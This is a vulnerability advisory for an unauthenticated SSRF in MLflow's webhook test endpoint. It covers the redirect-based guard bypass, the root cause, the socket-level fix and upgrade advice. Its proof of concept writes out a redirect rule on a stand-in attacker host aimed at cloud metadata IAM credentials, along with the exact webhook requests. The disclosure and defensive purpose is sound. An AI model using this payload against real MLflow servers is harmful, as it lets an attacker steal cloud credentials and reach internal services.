CVE-2026-64849: MLflow Unauthenticated Full-Read SSRF via Webhook HTTP Redirect
A flaw in MLflow's webhook delivery lets an unauthenticated attacker trick the server into fetching any internal URL, including cloud instance-metadata credentials, and read the response back through…

The problem
MLflow exposes a synchronous webhook test endpoint, POST /api/2.0/mlflow/webhooks/{id}/test, with no authentication on a default server. It reflects the upstream response body to the caller.
PR #20747 (shipped in 3.10.0) added _validate_webhook_url, which resolves the webhook hostname and rejects non-public IPs. But the guard only checks the original URL. Delivery uses a plain requests.Session with no allow_redirects=False and no IP pinning, so a 302 from a guard-passing HTTPS host silently redirects the server to any internal or metadata endpoint.
A secondary bypass via DNS rebinding (TOCTOU between getaddrinfo and connect) also exists.
Proof of concept
A working proof-of-concept for CVE-2026-64849 in mlflow, with the exact payload below.
# Attacker redirect server (valid TLS cert, public IP, e.g. nginx on attacker.example.com)
# location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
# Step 0 - negative control: direct internal URL is rejected
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: <TARGET>
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
# <- 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
# Step 1 - create webhook pointing at attacker's public HTTPS host (passes guard)
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: <TARGET>
Content-Type: application/json
{"name":"poc","url":"https://attacker.example.com/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
# <- 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ..., "status":"ACTIVE"}}
# Step 2 - fire test endpoint; server follows 302 to internal target, reflects body
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: <TARGET>
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
# <- 200 {"result":{"success":true,"response_status":200,
# "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by server>"}}The root cause is a TOCTOU gap between URL validation and connection. _validate_webhook_url resolves the hostname and checks IPs at registration and delivery time, but the resolved IP is never carried into the socket connection. The HTTP session is created with a plain HTTPAdapter and no allow_redirects=False, so requests follows any 302/307/308 and opens a new connection to the redirect target without re-running the IP guard.
A 302 redirect enables full-read SSRF because the redirect is fetched with GET and the response body is returned in WebhookTestResult.response_body. A 307/308 redirect also preserves the POST method and body, enabling blind writes into private-network management endpoints (Docker, Elasticsearch, Spring Boot Actuator, etc.).
The patch (PR #24258, commit ba94952247) introduces SSRFProtectedHTTPAdapter, which validates the peer IP of each connected socket immediately after connect(), before any TLS or HTTP exchange. Because every redirect opens a new connection through this adapter, redirect targets are covered automatically.
This also closes the DNS-rebinding TOCTOU because validation happens at actual connection time, not at pre-flight resolve time. The CWE is CWE-918 (Server-Side Request Forgery).
The fix
Upgrade to mlflow >= 3.15.0. The fix is in PR #24258 (commit ba94952247), which replaces the plain HTTPAdapter with SSRFProtectedHTTPAdapter that validates the connected peer IP at socket level on every hop, including redirect targets. No configuration change alone mitigates the issue on older versions.
If immediate upgrade is not possible, block unauthenticated access to the MLflow tracking server at the network layer, or enable the optional auth plugin so webhook endpoints require admin credentials.
Reported by freeman-bb (original reporter, 2026-06-12); AUTHENSOR (independent finder, 2026-06-26).
Related research
- high · 7.1CVE-2026-69148CVE-2026-69148: MLflow Missing Authorization on CreateModelVersion run_id
- high · 7.1CVE-2026-70485CVE-2026-70485: Open WebUI NAT64-Encoded SSRF Filter Bypass
- high · 7.7CVE-2026-70479CVE-2026-70479: open-webui SSRF via Unvalidated Sub-Resource Requests in Playwright Web Loader
- high · 8.6CVE-2026-12075CVE-2026-12075: nltk DNS-Rebinding SSRF Filter Bypass